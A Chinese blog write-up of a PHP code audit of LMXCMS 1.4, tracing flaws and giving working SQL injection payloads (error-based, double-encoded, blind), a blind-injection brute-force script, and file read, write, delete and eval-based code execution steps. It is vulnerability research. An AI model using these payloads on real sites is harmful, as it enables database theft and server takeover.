前方多圖預警,本文適合在wifi狀態下查看
前言
最近學習php代碼審計,lmxcms很適合去學習代碼審計,因為比較簡單。
環境搭建
源碼下載地址http://www.lmxcms.com/phpstudy+phpstorm,apache2.4.39+MySQL5.7.26,php5.3.29





搭建成功
框架配置
入口文件

config.inc.php配置文件
run.inc.php 初始化文件
入口

在Action.class.php中找到調用方法的

可以看出m參數是類名前綴,開頭大寫,a參數是方法名
那么我就知道該框架處理請求的格式如下
http://127.0.0.1/lmxcms1.4/admin.php?m=xx類名&a=xx方法
后臺SQL注入
在bookaction.class.php

在這里可以看到這個id是可控的,于是進入getReply函數里看看


發現這里執行了SQL語句
在后面寫個echo$sql方便看

因為正常輸入沒回顯,采取報錯注入
admin.php?m=Book&a=reply&id=1) and updatexml(0,concat(0x7e,user()),1)
--+

前臺SQL注入
TagsAction.class.php中

看不出來$data['name']的值是如何來的,查看的p的方法

可以看到type=2的時候為GET傳遞,說明我們可以控制這個參數,繼續看能不能利用
查看getNameData的聲明

查看oneModel

查看oneDB


接著在這上面寫個echo $sql;
/index.php/?m=Tags&name=1
會跳404,但echo 出來了sql語句,說明這個過程是有sql語句執行的

這個時候繼續利用報錯函數執行試試
' and updatexml(0,concat(0x7e,user()),1) --+

發現是空白,連報錯都沒有,其實仔細看之前common.php里,有filter_sql方法

但是這里寫了一個url解碼的函數,且這個語句執行是在sql語句過濾執行的后面,那么我嘗試二次編碼注入


執行成功,但在1.41版本的修復了這個漏洞
這里用代碼對比下可以明顯看出來

前臺留言SQL注入
在前臺留言這里

隨便提交一個,提交成功并沒有顯示,進后臺看看

需要審核才能顯示
審查源碼
在BookAction.class.php中,發現POST傳setbook后會進入checkdata函數


里面是驗證前臺數據并且過濾了html代碼并且有filter_sql

過濾了sql語句常用函數,在這里就不能用二次編碼繞過了,因為這里沒寫url解碼函數

查看addmodel

查看addDB

即使我們有二次注入的思路,但這個需要管理員審核才能看到回顯
隨便測試一個看看

在數據庫中顯示為

可以看出這個ischeck是判斷是否顯示在前臺的,那么我們進行注入,把ischeck修改為1就可以回顯在前端了

POST提交
setbook=1&name=1&content=1&time,ischeck)VALUES((select/**/version()),'1','','','127.0.0.1','1679301152','1')#=1
前臺布爾盲注
searchaction.class.php

serchmodel

countModel

countDB

在這里寫入echo $sql;方便嘗試注入

利用這些參數進行注入

可以利用tuijian這個參數注入,或者也可以用renmen看構造問題

SELECT count(1) FROM lmx_product_data WHERE time > 1647768137 AND
remen=1 AND (title like '%a%') ORDER BY id desc
執行如上sql語句,這里同樣也進行了filter_sql函數過濾,且沒有url編碼不能向第一個那樣二次編碼繞過,具體可在p方法里找
index.php?m=search&a=index&keywords=a&mid=1&remen=
1%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0))--+
GET
/lmxcms1.4/index.php?m=search&keywords=b&mid=1&tuijian=id%20or%20(if(ascii(substr(database(),1,1))=0x6,1,0));%23
這里0x6c對應的是l

回顯長度為8425,隨便改個參數,返回包長度變為5403

用remen參數回顯為8422

寫一個簡單的python腳本就可以測出值

import requests
flag=""
url="http://127.0.0.1/lmxcms1.4/index.php?m=search&a=index&keywords=a&mid=1&remen=1%20or%20(if(ascii(substr(database(),{},1))={},1,0))%23\"\
for i in range(1,7):
for j in range(65,122):
res=requests.get(url.format(i,hex(j)))
if len(res.text)>7000:
flag=flag+chr(j)
print(flag)
else:
print(url)
print(flag)
任意文件讀取&任意文件寫入
文件讀取函數freadfopenfilefile_get_contents搜索file_get_contents然后找file_get_contents函數和參數代碼段,

在file.class.php getcon方法里

file_get_contents具有讀取文件內容的功能,這里$path變量我們要看怎么來的,于是查看getcon的用法
在TemplateAction.class.php中調用了getcon

查看$dir變量怎么來的

該頁面在admin目錄下,那么進入后臺根據頁面名稱傳參調用嘗試任意文件讀取
lmxcms1.4/admin.php?m=Template&a=editfile

傳$dir

還可以讀取數據庫文件

同樣這里還可以進行任意文件寫入

可以在這個頁面直接進行修改或者寫入

分別是文件名稱跟內容,file_put_contents函數寫入

任意文件刪除
在BackdbAction.class.php中搜索unlink


這里看到filename可控,查看delone

file/back下創建一個文件測試1.txthttp://localhost/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=1.txt

通過../../實現任意文件刪除


再次訪問就需要安裝了
命令執行
在admin/AcquisiAction.class.php中搜索eval

可以看出$eval函數的參數$temdata是$this->model->caijiDataOne($_GET['cid']);跟進




可以看出執行了sql語句,通過跟進ci_data_tab發現

查詢的是cj_data表

在cj_data表中插入phpinfo();

lmxcms1.4/admin.php?m=Acquisi&a=showCjData&id=1&cid=1&lid=1

總結
這次是對php
mvc框架的審計的嘗試,思路是從危險函數入手,尋找可控參數變量,嘗試利用觸發,白盒+黑盒一起嘗試可能會效果更佳,感覺自己有好多地方不足,很多都是參考網上的或者別人的思路才能完成審計實現,希望能對大家有所幫助,不足之處希望大家能夠批評指正。
合天網安實驗室

Rot5pider安全團隊
骨哥說事
系統安全運維
Rot5pider安全團隊
一顆小胡椒
FreeBuf
看雪學苑
雁行安全團隊
HACK學習呀
LemonSec
合天網安實驗室
合天網安實驗室